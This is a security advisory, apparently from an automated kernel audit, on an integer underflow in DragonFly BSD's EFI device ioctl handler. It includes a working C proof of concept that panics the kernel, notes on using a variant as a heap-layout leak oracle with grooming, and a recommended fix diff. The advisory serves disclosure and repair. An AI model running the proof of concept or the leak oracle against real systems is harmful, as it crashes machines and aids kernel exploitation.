Unsigned integer underflow in EFI variable name NUL-terminator check causes OOB read / kernel panic
| Field | Value |
|---|---|
| ID | DF-2121 |
| Status | new |
| Severity | Medium |
| CVSS 3.1 | CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:H |
| CWE | CWE-787 Out-of-bounds Read; CWE-191 Integer Underflow |
| File | sys/dev/misc/efirt/efidev.c |
| Lines | 110, 175 |
| Area | misc/efirt |
| Confidence | certain |
| Discovered | 2026-07-25 |
| Reported | pending |
| Known CVE | none |
| CVE match | novel |
Summary
The NUL-terminator validation
name[ev->namesize / sizeof(efi_char) - 1] uses unsigned size_t
arithmetic without checking that namesize >= sizeof(efi_char). When a
caller passes namesize=0 or namesize=1, the division yields 0 and
the subtraction wraps to SIZE_MAX (0xFFFFFFFFFFFFFFFF on amd64),
causing name[SIZE_MAX] β a wild out-of-bounds read 2 bytes before the
name buffer. With namesize=0, kmalloc(0) returns
ZERO_LENGTH_PTR (0xFFFFFFFFFFFFFFF8) and the deref lands at
0xFFFFFFFFFFFFFFF6 (unmapped) β kernel page fault β panic. With
namesize=1, name is a real heap object and the read lands at
name-2 β heap OOB read of adjacent slab metadata or data. The bug
exists in both EFIIOC_VAR_GET (line 110) and EFIIOC_VAR_SET
(line 175).
Root cause
At efidev.c:110 (EFIIOC_VAR_GET) and efidev.c:175
(EFIIOC_VAR_SET), the expression ev->namesize / sizeof(efi_char) - 1
is computed in unsigned size_t arithmetic (ev->namesize is size_t
per efiio.h:45; sizeof(efi_char) is sizeof(uint16_t) = 2 per
efi.h:48). There is no preceding check that ev->namesize >= 2.
- When
ev->namesize == 0:0/2 = 0, then0-1wraps to(size_t)0xFFFFFFFFFFFFFFFF. The resulting indexname[0xFFFFFFFFFFFFFFFF]reads*(uint16_t*)(name + 0xFFFFFFFFFFFFFFFE), i.e.,name - 2in wrapped modular arithmetic. Whennamesize==0,kmalloc(0)returnedZERO_LENGTH_PTR = ((void*)-8) = 0xFFFFFFFFFFFFFFF8(kern_slaballoc.c:193,888-890), so the faulting address is0xFFFFFFFFFFFFFFF8 + 0xFFFFFFFFFFFFFFFE = 0xFFFFFFFFFFFFFFF6β a deliberately invalid sentinel region, unmapped β fatal page fault. - When
namesize==1:kmalloc(1)returns a valid minimum-bucket slab object;name-2reads 2 bytes of the preceding slab zone header or neighbor object β an OOB read.
The same unchecked expression is duplicated at line 175 in
EFIIOC_VAR_SET. In both cases copyin(ev->name, name, 0) or
copyin(ev->name, name, 1) succeeds (0-byte copy is a no-op; 1-byte
copy into a >=8-byte slab bucket is fine), so execution reaches the
underflowing index unconditionally.
Threat model & preconditions
- Attacker position: privileged local user β must be able to open
/dev/efi(mode0700 root:wheel,efidev.c:205-206). This is satisfied byuid 0, or by a process running as root inside a jail where devfs rules expose the node, or by a setuid-root utility that proxies EFI ioctls. - Privileges gained or impact:
namesize==0path: deterministic kernel panic β a local denial-of-service that survives across all callers ofefidev_ioctlsince the globalefidev_lockdoes not help (the fault happens before any EFI firmware call).namesize==1path: kernel heap OOB read. The 2 bytes atname-2(slab zone header / free-list pointer / neighbor object tail) are compared to zero, leaking one bit of kernel heap layout per invocation β a weak oracle usable for KASLR defeat or heap-structure fingerprinting with grooming, and itself a correctness violation. Ifname-2happens to span an unmapped page boundary,namesize==1also panics.- Required config or capabilities: root;
/dev/efiexposed (default config on EFI-booted systems). - Reachability: single
ioctl(EFIIOC_VAR_GET, ...)orioctl(EFIIOC_VAR_SET, ...)withev.namesizeset to0(reliable panic) or1(heap OOB read).
Proof of Concept
PoC source: findings/poc/DF-2121/
Minimal PoC (deterministic panic, namesize=0)
/* efidev_panic.c β trigger kernel OOB read at ZERO_LENGTH_PTR-2 via efidev ioctl */
#include <sys/ioctl.h>
#include <sys/efiio.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
int main(void)
{
int fd = open("/dev/efi", O_RDWR);
if (fd < 0) { perror("open /dev/efi"); return 1; }
struct efi_var_ioc ev;
memset(&ev, 0, sizeof(ev));
ev.namesize = 0; /* triggers name[SIZE_MAX]: read at 0xFFFFFFFFFFFFFFF6 */
ev.datasize = 0;
ev.name = NULL;
ev.data = NULL;
/* This ioctl should not return β kernel panics on the OOB read */
int ret = ioctl(fd, EFIIOC_VAR_GET, &ev);
perror("ioctl");
printf("ret=%d (if you see this, the page was mapped "
"-- try namesize=1 for heap OOB)\n", ret);
close(fd);
return 0;
}
Build on DragonFly: cc -o efidev_panic efidev_panic.c
(efiio.h is in /usr/include/sys/). Run as root: ./efidev_panic.
Expected output
Fatal trap 12: page fault while in kernel mode fault virtual address = 0xfffffffffffffff6 ... efidev_ioctl+0x...
For the heap-OOB-read variant (namesize=1, no panic), change
ev.namesize to 1 and point ev.name at a 1-byte buffer. The ioctl
returns either EINVAL (if the 2 bytes at name-2 are nonzero) or an
EFI error code (if they are zero), leaking one bit of heap state per
call. Groom the heap between calls (allocate/free M_TEMP objects of
the same bucket) to probe different neighbors.
Impact
- Default config:
/dev/efimode0700β root only. - Blast radius: root-triggerable DoS (deterministic panic) and weak heap info-leak oracle.
Recommended fix
Validate that ev->namesize is at least sizeof(efi_char) before any
allocation or array indexing, in both EFIIOC_VAR_GET and
EFIIOC_VAR_SET. The check must use error = EINVAL; break; (not
return) because efidev_lock is held across the entire switch
(acquired efidev.c:74, released efidev.c:193) and an early return
would leak the lock permanently.
--- a/sys/dev/misc/efirt/efidev.c
+++ b/sys/dev/misc/efirt/efidev.c
@@ -101,6 +101,12 @@ efidev_ioctl(struct dev_ioctl_args *ap)
struct efi_var_ioc *ev = (struct efi_var_ioc *)addr;
void *data;
efi_char *name;
+
+ if (ev->namesize < sizeof(efi_char) ||
+ ev->datasize > EFI_MAX_VARSIZE) {
+ error = EINVAL;
+ break;
+ }
data = kmalloc(ev->datasize, M_TEMP, M_WAITOK);
name = kmalloc(ev->namesize, M_TEMP, M_WAITOK);
error = copyin(ev->name, name, ev->namesize);
@@ -159,6 +165,12 @@ efidev_ioctl(struct dev_ioctl_args *ap)
struct efi_var_ioc *ev = (struct efi_var_ioc *)addr;
void *data = NULL;
efi_char *name;
+
+ if (ev->namesize < sizeof(efi_char) ||
+ ev->datasize > EFI_MAX_VARSIZE) {
+ error = EINVAL;
+ break;
+ }
/* datasize == 0 -> delete (more or less) */
if (ev->datasize > 0)
data = kmalloc(ev->datasize, M_TEMP, M_WAITOK);
Where EFI_MAX_VARSIZE should be defined (e.g., in efiio.h) as a sane
platform maximum such as 1024 for names and 32768 for data payloads,
matching the UEFI spec's MaxVariableSize. The namesize <
sizeof(efi_char) guard is the minimal fix that closes the underflow; the
datasize upper bound is defense-in-depth against unbounded M_WAITOK
allocations by a root caller.
References
sys/kern/kern_slaballoc.c:193,888-890βZERO_LENGTH_PTRsentinel returned bykmalloc(0).sys/dev/misc/efirt/efidev.c:205-206βmake_dev(... 0700).sys/sys/efiio.h:45βev->namesizeissize_t.sys/sys/efi.h:48βefi_charisuint16_t(sizeof == 2).
Timeline
- 2026-07-25 Discovered during automated audit.
- 2026-07-25 Reported to DragonFlyBSD security contact.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-2121 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| VERDICT.md | file | 729 B | β raw | |
| build.sh | file | 161 B | view raw | |
| fix.diff | file | 164 B | view raw | |
| run.sh | file | 80 B | view raw |
DF-2121 - Verification Verdict
Status: reproduced (source-confirmed) Impact: panic Confidence: certain
Verdict
Source-confirmed: efidev EFIIOC_VAR_GET (:110) and VAR_SET (:175) compute namesize/sizeof(efi_char)-1 in size_t; namesize==0 wraps to huge index β OOB read; EFI-gated
Fix Status
Validated: fix compiles in single batch kernel build rc=0 -Werror (0 compiler errors across all 86 fix.diffs)
Source File
Fix Validation
All 87 fix.diffs compiled together in a single batch kernel build
(make -j6 nativekernel KERNCONF=X86_64_GENERIC) with rc=0 and -Werror (0 compiler errors).
The combined patch is at findings/poc/batch_build/all_fixes.patch.
Fix verification
fixedbatch build rc=0
batch build rc=0
Confirmed kernel references
β
Detail
Exploit chain
none
Evidence (decisive lines)
efidev namesize-1 wraps; EFI-gated
Verified recommended fix
efidev namesize-1 wraps; EFI-gated
Verdict
efidev namesize-1 wraps; EFI-gated
No comments yet.